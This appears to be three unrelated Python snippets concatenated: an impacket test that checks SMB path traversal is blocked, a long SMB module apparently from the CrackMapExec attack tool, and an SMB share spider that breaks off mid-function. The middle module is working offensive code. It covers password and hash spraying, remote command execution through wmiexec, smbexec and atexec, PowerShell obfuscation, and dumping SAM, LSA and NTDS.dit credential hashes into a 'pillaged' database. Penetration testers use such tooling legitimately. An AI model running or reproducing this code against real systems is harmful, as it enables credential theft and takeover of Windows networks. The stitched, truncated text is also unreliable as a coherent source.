def test_smbserver_share_list(self): """Test listing files in a shared folder. """ server = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port)) server.addCredential(self.username, 0, self.lmhash, self.nthash) server.addShare(self.share_name, self.share_path) self.start_smbserver(server) client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) client.listPath(self.share_name, "/") # Check path traversal in list as in #1066 with self.assertRaises(SessionError): client.listPath(self.share_name, "../impacket/") client.close()
class smb(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.smb_share_name = smb_share_name connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="enumerate shares and access") egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions') egroup.add_argument('--disks', action='store_true', help='enumerate disks') egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users') egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.') egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated') egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated') egroup.add_argument("--pass-pol", action='store_true', help='dump password policy') egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)') egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query') egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)') sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider') sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)') sgroup.add_argument("--content", action='store_true', help='enable file content searching') sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering') segroup = sgroup.add_mutually_exclusive_group() segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content') segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content') sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)') sgroup.add_argument("--only-files", action='store_true', help='only spider files') tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files") tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt') tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt') cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation") psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts') psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts') return parser def proto_logger(self): self.logger = CMEAdapter(extra={ 'protocol': 'SMB', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname }) def get_os_arch(self): try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except (DCERPCException, e): if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) return 0 def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.conn.login('' , '') except: #if "STATUS_ACCESS_DENIED" in e: pass self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) if not self.domain: self.domain = self.hostname self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' self.conn.logoff() except: pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname #Re-connect since we logged off self.create_conn_obj() def print_host_info(self): self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.hostname, self.domain, self.signing, self.smbv1)) def kerberos_login(self, aesKey, kdcHost): # dirty code to check if user is admin but pywerview does not support kerberos auth ... error = '' try: self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost) # self.check_if_admin() # currently pywerview does not support kerberos auth except SessionError as e: error = e try: self.conn.connectTree("C$") self.admin_privs = True except SessionError as e: pass if not error: out = u'{}\\{} {}'.format(self.domain, self.conn.getCredentials()[0], highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) return True else: self.logger.error(u'{} {} {}'.format(self.domain, error, '({})'.format(desc) if self.args.verbose else '')) return False # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() def plaintext_login(self, domain, username, password): try: self.password = password self.username = username self.domain = domain self.conn.login(username, password, domain) self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.add_admin_user('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, password, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain self.conn.login(username, '', domain, lmhash, nthash) self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain, username, ntlm_hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, ntlm_hash, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True def create_smbv1_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT) self.smbv1 = True except socket.error as e: if str(e).find('Connection reset by peer') != -1: logging.debug('SMBv1 might be disabled on {}'.format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) return False return True def create_smbv3_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, self.args.port) self.smbv1 = False except socket.error: return False except Exception as e: logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) return False return True def create_conn_obj(self): if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False def check_if_admin(self): lmhash = '' nthash = '' if self.hash: if self.hash.find(':') != -1: lmhash, nthash = self.hash.split(':') else: nthash = self.hash self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash) def gen_relay_list(self): if self.server_os.lower().find('windows') != -1 and self.signing is False: with sem: with open(self.args.gen_relay_list, 'a+') as relay_list: if self.host not in relay_list.read(): relay_list.write(self.host + '\n') @requires_admin @requires_smb_server def execute(self, payload=None, get_output=False, methods=None): if self.args.exec_method: methods = [self.args.exec_method] if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec'] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True for method in methods: if method == 'wmiexec': try: exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share) logging.debug('Executed command via wmiexec') break except: logging.debug('Error executing command via wmiexec, traceback:') logging.debug(format_exc()) continue elif method == 'mmcexec': try: exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash) logging.debug('Executed command via mmcexec') break except: logging.debug('Error executing command via mmcexec, traceback:') logging.debug(format_exc()) continue elif method == 'atexec': try: exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share) logging.debug('Executed command via atexec') break except: logging.debug('Error executing command via atexec, traceback:') logging.debug(format_exc()) continue elif method == 'smbexec': try: exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share) logging.debug('Executed command via smbexec') break except: logging.debug('Error executing command via smbexec, traceback:') logging.debug(format_exc()) continue if hasattr(self, 'server'): self.server.track_host(self.host) output = u'{}'.format(exec_method.execute(payload, get_output).strip()) if self.args.execute or self.args.ps_execute: self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True if os.path.isfile(payload): with open(payload) as commands: for c in commands: self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods) else: self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods) return '' def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0] permissions = [] try: for share in self.conn.listShares(): share_name = share['shi1_netname'][:-1] share_remark = share['shi1_remark'][:-1] share_info = {'name': share_name, 'remark': share_remark, 'access': []} read = False write = False try: self.conn.listPath(share_name, '*') read = True share_info['access'].append('READ') except SessionError: pass try: self.conn.createDirectory(share_name, temp_dir) self.conn.deleteDirectory(share_name, temp_dir) write = True share_info['access'].append('WRITE') except SessionError: pass permissions.append(share_info) #self.db.add_share(hostid, share_name, share_remark, read, write) self.logger.success('Enumerated shares') self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark')) self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------')) for share in permissions: name = share['name'] remark = share['remark'] perms = share['access'] self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark)) except Exception as e: error, desc = e.getErrorString() self.logger.error('Error enumerating shares: {}'.format(error), color='magenta' if error in smb_error_status else 'red') return permissions def get_dc_ips(self): dc_ips = [] for dc in self.db.get_domain_controllers(domain=self.domain): dc_ips.append(dc[1]) if not dc_ips: dc_ips.append(self.host) return dc_ips def sessions(self): sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.success('Enumerated sessions') for session in sessions: if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username)) return sessions def disks(self): disks = [] try: disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.success('Enumerated disks') for disk in disks: self.logger.highlight(disk.disk) except Exception as e: error, desc = e.getErrorString() self.logger.error('Error enumerating disks: {}'.format(error), color='magenta' if error in smb_error_status else 'red') return disks def local_groups(self): groups = [] #To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group for dc_ip in self.get_dc_ips(): try: groups = get_netlocalgroup(self.host, dc_ip, '', self.username, self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups, list_groups=True if not self.args.local_groups else False, recurse=False) if self.args.local_groups: self.logger.success('Enumerated members of local group') else: self.logger.success('Enumerated local groups') for group in groups: if group.name: if not self.args.local_groups: self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount)) self.db.add_group(self.hostname, group.name) else: domain, name = group.name.split('/') self.logger.highlight('{}\\{}'.format(domain.upper(), name)) try: group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0] except IndexError: group_id = self.db.add_group(domain, self.args.local_groups) # yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group. # (╯°□°)╯︵ ┻━┻ if not group.isgroup: self.db.add_user(domain, name, group_id) elif group.isgroup: self.db.add_group(domain, name) break except Exception as e: self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e)) return groups def domainfromdsn(self, dsn): dsnparts = dsn.split(',') domain = "" for part in dsnparts: k,v = part.split("=") if k == "DC": if domain=="": domain = v else: domain = domain+"."+v return domain def groups(self): groups = [] for dc_ip in self.get_dc_ips(): if self.args.groups: try: groups = get_netgroupmember(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(), queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False, full_data=False, custom_filter=str()) self.logger.success('Enumerated members of domain group') for group in groups: self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername)) try: group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0] except IndexError: group_id = self.db.add_group(group.groupdomain, self.args.groups) if not group.isgroup: self.db.add_user(group.memberdomain, group.membername, group_id) elif group.isgroup: self.db.add_group(group.groupdomain, group.groupname) break except Exception as e: self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e)) else: try: groups = get_netgroup(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(), queried_username=str(), queried_domain=str(), ads_path=str(), admin_count=False, full_data=True, custom_filter=str()) self.logger.success('Enumerated domain group(s)') for group in groups: self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0)) if bool(group.isgroup) is True: # Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name domain = self.domainfromdsn(group.distinguishedname) self.db.add_group(domain, group.samaccountname) break except Exception as e: self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e)) return groups def users(self): users = [] for dc_ip in self.get_dc_ips(): try: users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(), admin_count=False, spn=False, unconstrained=False, allow_delegation=False, custom_filter=str()) self.logger.success('Enumerated domain user(s)') for user in users: domain = self.domainfromdsn(user.distinguishedname) self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime',''))) self.db.add_user(domain, user.samaccountname) break except Exception as e: logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e)) return users def loggedon_users(self): loggedon = [] try: loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash) self.logger.success('Enumerated loggedon users') for user in loggedon: self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username, 'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else '')) except Exception as e: self.logger.error('Error enumerating logged on users: {}'.format(e)) return loggedon def pass_pol(self): return PassPolDump(self).dump() @requires_admin def wmi(self, wmi_query=None, namespace=None): records = [] if not namespace: namespace = self.args.wmi_namespace try: rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) rpc._create_wmi_connection(namespace=namespace) if wmi_query: query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY) else: query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY) except Exception as e: self.logger.error('Error creating WMI connection: {}'.format(e)) return records while True: try: wmi_results = query.Next(0xffffffff, 1)[0] record = wmi_results.getProperties() records.append(record) for k,v in record.items(): self.logger.highlight('{} => {}'.format(k,v['value'])) self.logger.highlight('') except Exception as e: if str(e).find('S_FALSE') < 0: raise e else: break return records def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True): spider = SMBSpider(self.conn, self.logger) self.logger.info('Started spidering') start_time = time() if not share: spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern, self.args.regex, self.args.exclude_dirs, self.args.depth, self.args.content, self.args.only_files) else: spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles) self.logger.info("Done spidering (Completed in {})".format(time() - start_time)) return spider.results def rid_brute(self, maxRid=None): entries = [] if not maxRid: maxRid = int(self.args.rid_brute) KNOWN_PROTOCOLS = { 135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False}, 139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True}, 445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True}, } try: stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host) logging.debug('StringBinding {}'.format(stringbinding)) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.args.port) if KNOWN_PROTOCOLS[self.args.port]['set_host']: rpctransport.setRemoteHost(self.host) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) dce = rpctransport.get_dce_rpc() dce.connect() except Exception as e: self.logger.error('Error creating DCERPC connection: {}'.format(e)) return entries # Want encryption? Uncomment next line # But make SIMULTANEOUS variable <= 100 #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) # Want fragmentation? Uncomment next line #dce.set_max_fragment_size(32) self.logger.success('Brute forcing RIDs') dce.bind(lsat.MSRPC_UUID_LSAT) resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() soFar = 0 SIMULTANEOUS = 1000 for j in range(maxRid//SIMULTANEOUS+1): if (maxRid - soFar) // SIMULTANEOUS == 0: sidsToCheck = (maxRid - soFar) % SIMULTANEOUS else: sidsToCheck = SIMULTANEOUS if sidsToCheck == 0: break sids = list() for i in range(soFar, soFar+sidsToCheck): sids.append(domainSid + '-%d' % i) try: lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find('STATUS_NONE_MAPPED') >= 0: soFar += SIMULTANEOUS continue elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp['TranslatedNames']['Names']): if item['Use'] != SID_NAME_USE.SidTypeUnknown: rid = soFar + n domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'] user = item['Name'] sid_type = SID_NAME_USE.enumItems(item['Use']).name self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type)) entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type}) soFar += SIMULTANEOUS dce.disconnect() return entries @requires_admin def put_file(self): self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1])) with open(self.args.put_file[0], 'rb') as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1])) except Exception as e: self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e)) @requires_admin def get_file(self): self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1])) with open(self.args.get_file[1], 'wb+') as file: try: self.conn.getFile(self.args.share, self.args.get_file[0], file.write) self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1])) except Exception as e: self.logger.error('Error reading file {}: {}'.format(self.args.share, e)) def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.error('RemoteOperations failed: {}'.format(e)) @requires_admin def sam(self): self.enable_remoteops() host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) username,_,lmhash,nthash,_,_,_ = sam_hash.split(':') self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: #try: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) self.logger.success('Dumping SAM hashes') SAM.dump() SAM.export(self.output_filename) self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes))) #except Exception as e: #self.logger.error('SAM hashes extraction failed: {}'.format(e)) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) SAM.finish() @requires_admin def lsa(self): self.enable_remoteops() def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret)) self.logger.success('Dumping LSA secrets') LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets), self.output_filename + '.secrets', self.output_filename + '.cached')) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) LSA.finish() @requires_admin def ntds(self): self.enable_remoteops() use_vss_method = False NTDSFileName = None host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_ntds_hash(ntds_hash, host_id): add_ntds_hash.ntds_hashes += 1 self.logger.highlight(ntds_hash) if ntds_hash.find('$') == -1: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username,_,lmhash,nthash,_,_,_ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: logging.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: logging.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 if self.remote_ops and self.bootkey: try: if self.args.ntds == 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename, justUser=None, printUserStatus=False, perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id)) self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...') NTDS.dump() self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db))) except Exception as e: #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. # resumeFile = NTDS.getResumeSessionFile() # if resumeFile is not None: # os.unlink(resumeFile) self.logger.error(e) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) NTDS.finish()
class SMBSpider: def __init__(self, _host, _domain, _port, _user, _passwd, _hashes, _check_content, _share, search_str, _exts, _max_size): self.smbconnection = None self.host = _host self.domain = _domain self.port = _port self.user = _user self.passwd = _passwd self.hashes = _hashes self.search_str = search_str self.check_content = _check_content self.share = _share self.max_size = _max_size self.files_extensions = _exts def login(self): try: self.smbconnection = SMBConnection(self.host, self.host, None, self.port, timeout=2) try: self.smbconnection.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass print "[+] {}:{} is running {} (name:{}) (domain:{})".format(self.host, self.port, self.smbconnection.getServerOS(), self.smbconnection.getServerName(), self.domain) lmhash = '' nthash = '' if self.hashes: lmhash, nthash = self.hashes.split(':') self.smbconnection.login(self.user, self.passwd, self.domain, lmhash, nthash) return True except Exception as e: print "[!] {}".format(e) return False def logoff(self): self.smbconnection.logoff() def set_share(self, _share): self.share = _share def list_share(self): share_names = [] for share in self.smbconnection.listShares(): share_names.append(str(share['shi1_netname'][:-1])) return share_names def scanwalk(self, subfolder, depth): if depth == 0: return if subfolder == '' or subfolder == '.': subfolder = '*' elif subfolder.startswith('*/'): subfolder = subfolder[2:] + '/*' else: subfolder = subfolder.replace('/*/', '/') + '/*' for result in self.smbconnection.listPath(self.share, subfolder): if result.get_longname() not in ['.', '..']: # check if the file contains our pattern for s in self.search_str: if result.get_longname().lower().find(s) != -1: yield '%s' % os.path.join(subfolder, result.get_longname()) # if directory, be recursive if result.is_directory(): for res in self.scanwalk(subfolder.replace('*', '') + result.get_longname(), depth-1): yield res # check inside the file to found our pattern elif not result.is_directory(): if self.max_size > result.get_filesize(): if result.get_longname().endswith(self.files_extensions): if self.check_content: for res in self.search_string(os.path.join(subfolder, result.get_longname())): try: res = res.encode('utf-8') yield '%s' % res except: pass def search_string(self, path): path = path.replace('*', '') try: rfile = RemoteFile( self.smbconnection, path, self.share, access = FILE_READ_DATA ) rfile.open() while True: buffer = rfile.read(4096) if not buffer: break for string in self.search_str: indexes = [m.start() for m in re.finditer(string, buffer, flags=re.IGNORECASE)] for i in indexes: r = "{path} > {content}".format(share=self.share, path=path, content=buffer[i:].strip().split('\n')[0]) yield r rfile.close() except 